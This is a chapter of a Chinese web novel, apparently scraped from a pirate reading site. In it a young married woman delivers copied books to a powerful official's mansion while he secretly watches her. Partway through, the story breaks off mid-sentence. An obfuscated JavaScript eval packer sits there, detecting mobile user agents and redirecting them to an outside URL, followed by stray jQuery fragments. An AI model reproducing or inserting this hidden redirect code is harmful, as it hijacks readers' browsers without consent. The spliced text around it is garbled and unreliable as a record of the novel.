默认冷灰
24号文字
方正启体

11. 第 11 章

作者:飞鸟何停本书字数:K更新时间:
    午后,温幼槐从明照坊的铺子离开,按照李掌柜说的地址去了东榆胡同。


    那位大人的宅子却在胡同口旁的大街上,偌大一条街上却没什么行人,温幼槐的马车停在府门前,她撩起车帘往外看。


    从府门看去这宅子却没什么特别的,黑漆沉重的大门,同京中旁的大户人家没什么分别。府门上却没牌匾,无从得知其主人的身份。


    下了马车后说明来意,来了一位管事引她进去,就这么慢慢走进去后,才发现里头的豪奢庄肃。


    进去后绕过一段太湖石堆叠成的假山,便是一眼望不到头的深湖园林,廊顶朱檐青瓦,却不像何府那般曲折,反倒一路直直通到底,这便走过了整个湖面。


    湖上另有亭台楼榭,雕梁画栋,无不丰豪。


    京中有几个人家能拥有这样的宅子?不过抄一本书三两白银,能给出这样报酬的人家恐怕也不是什么简单的人物。


    但从府中的绿植却能看出主人低调的性子,并没十分奢靡的品种,尽是些槐榆松柳一类。


    温幼槐没有窥探主家身份的心思,低着头跟在管事身后往前走。


    走了约莫有一刻钟的时间,管事在一座楼阁前停了下来,温幼槐抬头望去,一块黑底金字的匾额上写着“听湖轩”三个大字。


    听湖轩?她见过听雨阁,临湖轩,却还没见过听湖轩,湖莫非也有声音吗?


    就这么疑惑着,管事打开门请她进去,轩内高敞旷荡,四周皆是比二人高的架阁,架阁上摆满了书,想来这里就是府上的藏书之地。


    管事却带着她继续往前走,一路上了二楼,道:“姑娘就在这里等候吧。”


    二楼的布置同一楼相似却又不同,不同的是这里楼梯口正对着尽头的栏杆,槅扇都被挪开了,是以二楼通明烁亮,在栏杆前又置着几张紫檀木书案,落地织金纱帐被风吹得微微飘拂。若是在那里写字应该是十分舒适的。


    这时管事却指着那处说:“姑娘倘或有喜欢的书,尽可坐在那里看,笔墨纸砚也都有,姑娘不必拘束了。”


    温幼槐受宠若惊,还想问些问题时,管事的却下楼离开了。


    她小心往前走去,穿过一列列架阁,在书案前停了下来。


    往外看去,楼下正巧是方才走过的那片深湖,她又想起这楼阁的名字,屏住呼吸试图去听,却没听到什么特别的声音。


    而后她发现这桌案上的纸竟是宫里特供的瓷青纸,笔砚瞧上去也都是名贵的,她一时有些激动,这些东西她平日可都很少能接触到的!


    府上虽不缺银子,但除了宋翰之外,并没人知道她喜爱笔墨,是以也没人特地给她寻来这些。唯有一次李掌柜不知从何处拿到了上好的黄鼠狼毫,分得她一支,她用过一次就再也舍不得拿出来,这会儿都还在房里珍藏着。


    温幼槐情不自禁地执笔想要写字,却突然听到身后的架阁上传来响动,她转身看去,轩内还是方才的样子,并没什么异常。


    于是又拿起笔来,小心翼翼地蘸了墨,在纸上写下一个槐字。


    如果温幼槐方才再仔细寻找,或许能在架阁中发现奇怪之处,但她并没在意,便不知这时正有人在静静注视着她。


    傅伯山透过书籍的间隔往前看,目光恰落在温幼槐雪白滑腻的脖颈处。她今日穿着月白缂丝百花蝶罗衫,下头又是墨色盘金马面裙,宛如洁白纸张上的一滴墨点,干净得十分纯粹。


    他还没在白日里这么仔细端详过她的模样,但在这个位置他却只能瞧见她的背面,她写得专注了,脊背微一拱起,令他想起那一晚她微微颤抖的双眸。


    傅伯山就这么看了许久。


    他一抬手,暗处的身影一闪而过。


    下一瞬,袁观从楼梯处走了上来。


    温幼槐听到脚步声,顿时挺直了脊背,立刻把笔放下站了起来,而后看到一位身穿竹青交领短衫的男子正朝她走来。


    温幼槐猜测这人应是府上主子的随从,见他走到跟前,对着她道:“大人今日有公务在身,特吩咐我来接待夫人,夫人久等了。”


    温幼槐微一行礼,心想这位大人倒是十分重视抄书这事了,应是对自己的藏书很是珍爱。她便将自己带来的原书和抄录份都递了过去。


    袁观伸出手接过,发现这两本都被她保护得极好,而后收了起来,笑道:“夫人倒是巾帼不让须眉,比我们府上的书吏还要出色些。”


    温幼槐心想他还没看过自己的字,怎么就开始夸她了呢?


    又听他道:“江南白麓书院年前意外遭了火灾,藏书阁中的书本典籍被烧毁大半,这府上的许多书便成了孤本。大人体恤江南学子,才想着召集人马将府中的书抄出一份,用以捐赠给白麓书院。只是原先却没见过女子抄录的,夫人深居内宅却没被拘束,同旁的女子不太一样。”


    “不过幼时在父亲的教导下读过些书、识得些字罢了,倒也谈不上什么巾帼须眉。”温幼槐才知道府上大人找人抄书的原委,心里不由感叹这位主家厚德积善,想来应是十分平易近人的。


    袁观往前走了几步,站在纱帐前,又问:“我瞧夫人周身的气度,不像是家中缺钱用的,怎么想起做这事的?”


    温幼槐也跟着他小步往前,这问题却是不好将实话说出的,毕竟她的身份是宋府少夫人,只道:“平日里无事便写写字,也是正巧遇上了这样的事。”


    袁观没说什么了,只道:“夫人这份抄录我会带给大人过目,约莫明日就能有消息了,届时我会派人送信去歙云斋。”


    温幼槐礼貌地点点头:“那便多谢了。”


    袁观带着温幼槐出去,走到楼梯口时,温幼槐抬头看到墙上挂着的画,短短地停了一瞬。


    正想收回视线继续往下走时,却听身边人开口道:“这是大人年轻时的画作,夫人可想看看?”


    既这么说了,温幼槐不好推辞,于是点了点头,跟着走进当中的一行架阁,尽头处正挂着方才她看到的那幅画。


    画上是一只花豹的背影,豹子正躺在地上,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464144|169786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并看不到它的脸,画作的右下角还写着一个小小的山字,想来应是主人的字号。


    温幼槐第一眼看到这幅画时,脑中便浮出忍耐二字。虽不知这种感觉究竟从何而来,她看不到花豹的神情,也看不出它的紧绷,却能感受到它的忍耐。


    温幼槐蓦地就想到了自己,越看越觉得这只被困在画里的动物是她自己,一时心有所感又往前走近了一步。


    “这画也是许多年前大人留下的了,后来大人手受了伤,到如今也停笔很久了。”袁观在一旁默默开口。


    温幼槐便想他应是某位知名的将军,但她对朝廷的事了解甚少,一时间脑中也想不到究竟是哪位将军的名号中有山字。


    “越王卧薪尝胆,范睢被鞭笞濒死,当中都逃不过一个忍字,只是忍耐久了就一定要绝地反击,忍却不难,可谁又能真的像这二人一样浴血重生呢......”


    温幼槐下意识便说出了自己心中的想法,说罢才意识到自己在做什么,盲人摸象各有不同,她不过是借着画看到了自己,便这样揣测画作主人,她哪里有资格评判!


    更遑论人家是个将军?还真如她一样身不由己不成?


    站在不远处的傅伯山将她的话听得一清二楚,却十分震惊,心底不知是什么滋味。


    那时他第一次违背老师的意愿,将陕西巡抚私吞赈灾粮的事散播出去,老师因此雷霆震怒,罚他在雨里跪了很久。


    京城九月的雨凉得彻骨,他跪在青石板上,不断地告诉自己成大事者必要隐忍。


    后来陕西巡抚被撤了官,他也从佥都御史的位子上一落千丈,只是陕西十万石赈灾粮却不见去处,陕北到处饿殍遍野,在那场旱灾中死的人不计其数。


    几年后他才被老师重新提拔进了吏部,经历一路的摸爬滚打才明白官位究竟是个什么东西,到如今坐上吏部最高官员的位子,权势握在手中已经没了感觉,他却始终忘不了那个雨夜。


    这幅画便是他被下放时作出的,她如何能一眼看出他的心思呢?


    温幼槐跟着袁观离开了,下楼时还不由看了那幅画一眼,她心里对这画很喜欢,可是主人却将它放在这么不起眼的地方,莫非是不想常常看到么?


    温幼槐很快走出去了,在长廊中缓步走过时,却仿若听到了风吹过湖面的声音,风声不疾不徐,却又透着几分孤独的悲凉。


    她觉得自己今日真是太过敏感,忙快步跟上了管事,往府门口去了。


    听湖轩内,傅伯山拿起桌案上的瓷青纸,指节轻轻拂过上面的槐字。


    袁观在一旁低声回禀:“夫人瞧着谈吐不凡,行事却谨慎小心,想来温大人对家中姑娘的教导都十分严苛。”


    这样墨守成规的人,是很难做出逆伦悖德之事的。宿安驿店的那一晚在她心里约莫也只是个意外。抑或者说她早已认定了是个意外。


    傅伯山看着手中的字,半晌将桌上的一沓纸拿起来轻轻对折,淡淡道:“去取一套新的文房四宝送到宋府,你亲自去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)